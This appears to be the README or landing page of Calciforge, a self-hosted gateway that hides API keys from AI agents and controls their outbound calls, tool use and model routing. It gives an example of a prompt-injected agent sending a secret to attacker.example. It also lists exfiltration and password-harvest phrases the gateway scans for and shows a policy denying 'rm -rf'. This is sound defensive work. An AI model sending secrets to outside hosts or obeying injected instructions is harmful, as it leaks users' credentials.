Calciforge

Keep your castle secure and moving.

A self-hosted security gateway for AI agents. Every agent gets a bound contract — destination-scoped secret substitution, model routes, command permissions, and audit trails — without sharing raw API keys or trusting the agent's own restraint.

What it gives you

Calciforge sits between your AI agents and the rest of the world. The gateway covers seven overlapping concerns; you can adopt any subset.

Secret management

Your agent never holds the actual API key. The gateway resolves through fnox and substitutes at the request boundary.

# fnox.toml — the secret store the gateway resolves through
[secrets]
OPENAI_API_KEY = { encrypted = "age-encryption.org/v1..." }
ANTHROPIC_API_KEY = { provider = "1password", key = "claude" }
NPM_TOKEN = { default = "value-from-env-or-prompt" }

For new values, prefer the local paste UI. It gives you a short-lived browser form and keeps the value out of Telegram, Matrix, WhatsApp, and other chat history:

paste-server OPENAI_API_KEY "OpenAI API key"
# prints http://127.0.0.1:PORT/paste/<token>

paste-server --bulk env-import "bulk .env import"
# prints http://127.0.0.1:PORT/bulk/<token>

The URLs expire after five minutes and are single-use. The bulk URL accepts a whole .env-shaped paste and returns per-key results (stored / already-exists / illegal-name / malformed).

Outbound traffic gating

The gateway substitutes {{secret:NAME}} references at the moment of forwarding — and only if the destination is on the per-secret allowlist.

# /etc/calciforge/security-proxy.toml
[secret_destination_allowlist]
OPENAI_API_KEY = ["api.openai.com", "*.openai.com"]
ANTHROPIC_API_KEY = ["api.anthropic.com"]
GITHUB_TOKEN = ["api.github.com", "uploads.github.com"]

Without an allowlist entry: substitution is allowed everywhere (opt-in tightening). With an entry: anything else returns 403 before the resolver is even consulted, so a prompt-injected agent calling https://attacker.example/?key={{secret:OPENAI_API_KEY}} fails before the secret value is loaded into memory.

Outbound bodies are also scanned for exfiltration-attempt patterns (POST to https://…, send to https://…, curl … https://…, beacon to, etc.) and PII-harvest phrasing (send me your password, what is your api key). Generic high-entropy secret-shape detection (JWT-shaped strings, sk-* keys, etc.) was deliberately removed during the channel-integration cut and is on the roadmap.

Inbound traffic gating and tool policy

Every upstream response is scanned for prompt-injection payloads before being returned to the agent. Configurable verdicts (Block / Review / Allow) routed via the policy plane.

For tool calls, Calciforge adapts the clash policy engine through a small HTTP daemon shipped in this repo as clashd. The daemon is not the product; it is the policy sidecar that lets agent runtimes ask “allow, deny, or review?” before a tool executes.

# clash-policy.star — Starlark policy served by clashd
def evaluate(ctx):
    if ctx.tool == "Bash" and "rm -rf" in ctx.args.get("command", ""):
        return Verdict.deny("destructive command requires manual approval")
    if ctx.identity != "owner" and ctx.tool == "Write":
        return Verdict.review("non-owner write — flag for review")
    return Verdict.allow()

Model gateway

Calciforge can expose an OpenAI-compatible local endpoint while routing requests to named providers, explicit model routes, local models, and synthetic models. Chat users can also inspect and switch configured aliases with !model.

The synthetic-model vocabulary is:

# /etc/calciforge/config.toml — model gateway

[proxy]
enabled = true
bind = "127.0.0.1:8080"
backend_type = "http"
backend_url = "https://api.openai.com/v1"
backend_api_key_file = "/etc/calciforge/secrets/openai-key"

[proxy.token_estimator]
strategy = "auto"
# tokenizer = "o200k_base" # force a tiktoken base for non-OpenAI model IDs
safety_margin = 1.10

# Pattern-based provider routing — first match wins after model_routes.
[[proxy.providers]]
id = "anthropic"
url = "https://api.anthropic.com/v1"
api_key_file = "/etc/calciforge/secrets/anthropic-key"
models = ["claude-*", "anthropic/*"]
timeout_seconds = 120

[[proxy.providers]]
id = "local-mlx"
url = "http://127.0.0.1:8888/v1"
models = ["local/*", "qwen/*", "mlx/*"]

# Explicit routes take precedence over provider pattern lists.
[[proxy.model_routes]]
pattern = "coding/default"
provider = "anthropic"

# Chat aliases shown by `!model`; `!model sonnet` prints the expansion.
[[model_shortcuts]]
alias = "sonnet"
model = "anthropic/claude-sonnet-4.6"

[[model_shortcuts]]
alias = "local"
model = "local/qwen3-35b"

# Alloys pick among equivalent models by weighted or round-robin strategy.
[[alloys]]
id = "balanced"
name = "Balanced remote blend"
strategy = "weighted"

[[alloys.constituents]]
model = "anthropic/claude-sonnet-4.6"
weight = 70
context_window = 200000

[[alloys.constituents]]
model = "openrouter/google/gemini-flash-1.5"
weight = 30
context_window = 100000

[local_models]
enabled = true
current = "qwen3-35b"

[local_models.mlx_lm]
host = "127.0.0.1"
port = 8888

[[local_models.models]]
id = "qwen3-35b"
hf_id = "mlx-community/Qwen2.5-35B-Instruct-8bit"
display_name = "Qwen 35B local"

[[dispatchers]]
id = "smart-local"
name = "Use local until the prompt outgrows it"

[[dispatchers.models]]
model = "local/qwen3-35b"
context_window = 32768

[[dispatchers.models]]
model = "anthropic/claude-sonnet-4.6"
context_window = 200000

The full gateway reference is docs/model-gateway.md. Named cascades, dispatchers, and token-window fit checks are captured in docs/rfcs/model-gateway-primitives.md.

Agent-facing tools (MCP and CLI)

A built-in MCP server and small CLI expose secret names to agents but never return values — the only way for an agent to use a secret is to emit {{secret:NAME}} and let the gateway resolve on the way out. Designed so a compromised agent can enumerate names and fail to retrieve values.

Today, discovery is process-scoped: it sees the fnox names available to the MCP server or CLI process. Calciforge enforces per-secret destination allowlists at substitution time, but does not yet enforce per-agent secret discovery/use ACLs. That policy layer is on the roadmap.

// ~/.claude/mcp-config.json
{
  "mcpServers": {
    "calciforge-secrets": {
      "command": "/usr/local/bin/mcp-server",
      "transport": "stdio"
    }
  }
}
calciforge-secrets list
calciforge-secrets ref BRAVE_API_KEY

Multi-channel chat

Today: Telegram, Matrix, WhatsApp, Signal. Optional voice forwarding on channels that support it.

# /etc/calciforge/config.toml — channel configuration
[[channels]]
kind = "telegram"
enabled = true
bot_token_file = "/etc/calciforge/secrets/telegram-bot-token"
allowed_users = ["7000000001", "7000000002"]

[[channels]]
kind = "matrix"
enabled = true
homeserver = "https://matrix.example.com"
access_token_file = "/etc/calciforge/secrets/matrix-access-token"
room_id = "!roomid:example.com"
allowed_users = ["@alice:example.com"]

[[channels]]
kind = "whatsapp"
enabled = true
nzc_endpoint = "http://127.0.0.1:18789"
nzc_auth_token = "{{secret:OPENCLAW_HOOK_TOKEN}}"
allowed_numbers = ["+15555550100"]

Per-identity routing: each user gets their own active agent and audit trail. Per-agent secret ACLs are planned; current secret enforcement is value hiding plus destination allowlists.

Sensitive system operations

A separate authenticated daemon (host-agent) handles ZFS / systemd / PCT / git / exec calls behind mTLS. Agents never get a shell directly; they call the daemon, which validates the operation shape against allowlist rules and runs through narrow sudoers wrappers.


Quick install (Mac)

git clone https://github.com/bglusman/calciforge
cd calciforge
brew install fnox && fnox init
bash scripts/install.sh

Three services land as launchd agents:

Route Claude Code through the gateway:

# ~/.zshrc
export HTTPS_PROXY=http://localhost:8888

Status

Solo-operator mature, multi-user team mode in progress. Mac-tested, Linux-ready (CI runs Ubuntu, daily-use is macOS + a Proxmox CT for headless deployment).

The list of what works today and what’s still in flight lives in the README’s status table. Internal reviews and planning notes live under research/; public roadmap ideas live in docs/roadmap/.